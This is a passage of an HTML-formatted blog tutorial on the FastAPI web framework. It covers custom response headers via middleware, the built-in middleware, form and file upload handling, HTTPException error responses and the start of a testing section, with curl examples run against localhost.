localhost:8000 to see if it worked. See how we now have an HTTP header in the response, and it corresponds to the information we just put in.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl localhost:8000 -i&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;HTTP/1.1 &lt;span style=&#34;color:#ff9f43&#34;&gt;200&lt;/span&gt; OK&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;date: Mon, &lt;span style=&#34;color:#ff9f43&#34;&gt;19&lt;/span&gt; Oct &lt;span style=&#34;color:#ff9f43&#34;&gt;2020&lt;/span&gt; 19:20:35 GMT&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;server: uvicorn&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;content-length: &lt;span style=&#34;color:#ff9f43&#34;&gt;17&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;content-type: application/json&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;x-my_data: X-my_data&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Hello&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;World&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;As long as the middleware we created remains active, each new response we get will contain that header and its respective value.&lt;/p&gt;&#xA;&lt;h4 id=&#34;middleware-included&#34;&gt;Middleware included&lt;/h4&gt;&#xA;&lt;p&gt;FastAPI comes with a number of middleware included that we can use and add to the list of middleware through which our requests will pass. To add a middleware just use the &lt;em&gt;add_middleware()&lt;/em&gt; method of our app.&lt;/p&gt;&#xA;&lt;p&gt;You do not need to add the following code. It is just to let you know some of the options fastAPI includes as part of its code.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; fastapi &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Cookie, Header, Response, FastAPI&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; typing &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Optional&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; fastapi.middleware.gzip &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; GZipMiddleware&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# from fastapi.middleware.trustedhost import TrustedHostMiddleware&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# from fastapi.middleware.httpsredirect import HTTPSRedirectMiddleware&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;app &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; FastAPI()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;app&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;add_middleware(GZipMiddleware, minimum_size&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;1000&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;&#xA;&lt;li&gt;GZipMiddleware: takes care of using gzip compression in your responses.&lt;/li&gt;&#xA;&lt;li&gt;TrustedHostMiddleware: with this middleware we can tell fastAPI which domains are safe, similar to Django&amp;rsquo;s ALLOWED_HOSTS variable.&lt;/li&gt;&#xA;&lt;li&gt;HttpsRedirectMiddleware: it is in charge of redirecting http requests to their https version.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;forms-management&#34;&gt;Forms management&lt;/h3&gt;&#xA;&lt;p&gt;The first thing we have to do to handle forms is to install the &lt;em&gt;python-multipart&lt;/em&gt; dependency to our virtual environment. You can use pip or pipenv, I will use pipenv.&lt;/p&gt;&#xA;&lt;p&gt;Make sure you are within the virtual environment in which you are working.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install python-multipart&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Once our package is installed, we will create a function that receives a parameter equal to the &lt;em&gt;Form&lt;/em&gt; object. Remember, again, to import &lt;em&gt;Form&lt;/em&gt; from &lt;em&gt;fastapi&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Also note that if you want to add more fields just set more parameters for the function.&lt;/p&gt;&#xA;&lt;p&gt;Yes, it may sound rather obvious but it is better to mention it.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; fastapi &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Cookie, Header, Response, FastAPI, Form&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; typing &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Optional&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;app &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; FastAPI()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# {...rest of the code}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@app.post&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/subscribe/&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;async&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;subscribe&lt;/span&gt;(email&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;Form(&lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;)):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; {&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;email&amp;#34;&lt;/span&gt;: email}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now let&amp;rsquo;s try to send a data using a form using curl.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -X POST -F &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;email=email@example.org&amp;#39;&lt;/span&gt; localhost:8000/subscribe/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;email&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;email@example.org&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We will see how it returns us a JSON object, with the mail that we sent in the form, as response.&lt;/p&gt;&#xA;&lt;h3 id=&#34;file-management&#34;&gt;File management&lt;/h3&gt;&#xA;&lt;p&gt;In the same way as for forms, file handling requires the &lt;em&gt;python-multipart&lt;/em&gt; library. Install it using pip or pipenv if you haven&amp;rsquo;t already done so. Once this is done add &lt;em&gt;File&lt;/em&gt; and &lt;em&gt;UploadFile&lt;/em&gt; to the imports.&lt;/p&gt;&#xA;&lt;p&gt;Please note how it is necessary to use Python typing for this example, if you don&amp;rsquo;t it will return an error.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; fastapi &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Cookie, Header, Response, FastAPI, Form, File, UploadFile&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; typing &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Optional&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;app &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; FastAPI()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# {...rest of the code}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@app.post&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/files/&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;async&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;create_file&lt;/span&gt;(file: &lt;span style=&#34;color:#ff5c57&#34;&gt;bytes&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; File(&lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;)):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; {&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;file_size&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ff5c57&#34;&gt;len&lt;/span&gt;(file)}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@app.post&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/uploadfile/&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;async&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;create_upload_file&lt;/span&gt;(file: UploadFile &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; File(&lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;)):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; {&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;filename&amp;#34;&lt;/span&gt;: file&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filename}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;For this example we will create a simple text file.&lt;/p&gt;&#xA;&lt;p&gt;The following command will create a txt extension file in our current folder. If you are not comfortable using the GNU/Linux terminal visit my series of posts where I explain the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/linux-basic-commands-grep-ls-cd-cat-cp-rm-scp/&#34;&gt;basic GNU/Linux commands&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;printf&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;text&amp;#34;&lt;/span&gt; &amp;gt; file.txt&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Notice how a request to &lt;em&gt;/files/&lt;/em&gt; returns the size of our file.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -F &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;file=@file.txt&amp;#34;&lt;/span&gt; localhost:8000/files/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;file_size&amp;#34;&lt;/span&gt;:5&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;While a request to &lt;em&gt;/uploadfile/&lt;/em&gt; returns us the name of our file&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -F &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;file=@file.txt&amp;#34;&lt;/span&gt; localhost:8000/uploadfile/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;filename&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;file.txt&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;You have probably already noticed that &lt;strong&gt;in no case is the file being saved, but only made available to fastAPI&lt;/strong&gt;, so that we can do with it whatever we want within our function.&lt;/p&gt;&#xA;&lt;h3 id=&#34;error-handling&#34;&gt;Error handling&lt;/h3&gt;&#xA;&lt;p&gt;FastAPI has a number of exceptions that we can use to handle errors in our application.&lt;/p&gt;&#xA;&lt;p&gt;For this example our function will only return an error, but you could very well place this exception on a failed search for an object in the database or some other situation you can think of.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; fastapi &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Cookie, Header, Response, FastAPI, Form, File, UploadFile, HTTPException&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; typing &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Optional&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;app &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; FastAPI()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# {...rest of the code}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@app.get&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/error/&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;generate_error&lt;/span&gt;():&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;raise&lt;/span&gt; HTTPException(status_code&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;404&lt;/span&gt;, detail&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Something was not found&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We choose the code to return with &lt;em&gt;status_code&lt;/em&gt; and the additional information with &lt;em&gt;detail&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;If we make a web request to &lt;em&gt;/error/&lt;/em&gt; we will receive an HTTP 404 response, together with the response&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl localhost:8000/error/ -i&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;HTTP/1.1 &lt;span style=&#34;color:#ff9f43&#34;&gt;404&lt;/span&gt; Not Found&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;date: Mon, &lt;span style=&#34;color:#ff9f43&#34;&gt;19&lt;/span&gt; Oct &lt;span style=&#34;color:#ff9f43&#34;&gt;2020&lt;/span&gt; 20:21:28 GMT&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;server: uvicorn&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;content-length: &lt;span style=&#34;color:#ff9f43&#34;&gt;36&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;content-type: application/json&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;x-my_data: X-my_data&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;detail&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Something was not found&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If we wish we can also add HTTP headers to the response directly as an argument called headers in our exception.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; fastapi &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Cookie, Header, Response, FastAPI, Form, File, UploadFile, HTTPException&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; typing &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Optional&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;app &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; FastAPI()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# {...rest of the code}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@app.get&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/error/&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;generate_error&lt;/span&gt;():&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;raise&lt;/span&gt; HTTPException(status_code&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;404&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                        detail&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Something was not found&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                        headers&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;{&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;X-Error&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Header Error&amp;#34;&lt;/span&gt;},)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;testing-in-fastapi&#34;&gt;Testing in FastAPI&lt;/h3&gt;&#xA;&lt;p&gt;FastAPI contains a client with which we can do testing. Before we start testing we are going to install the necessary packages to do it: pytest and requests.&lt;/p&gt;&#xA;&lt;p&gt;If you want to go deeper in Python testing I have a post where I expose some of the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/python/unittest-python-are-python-tests-worthwhile/&#34;&gt;Python libraries for testing&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span 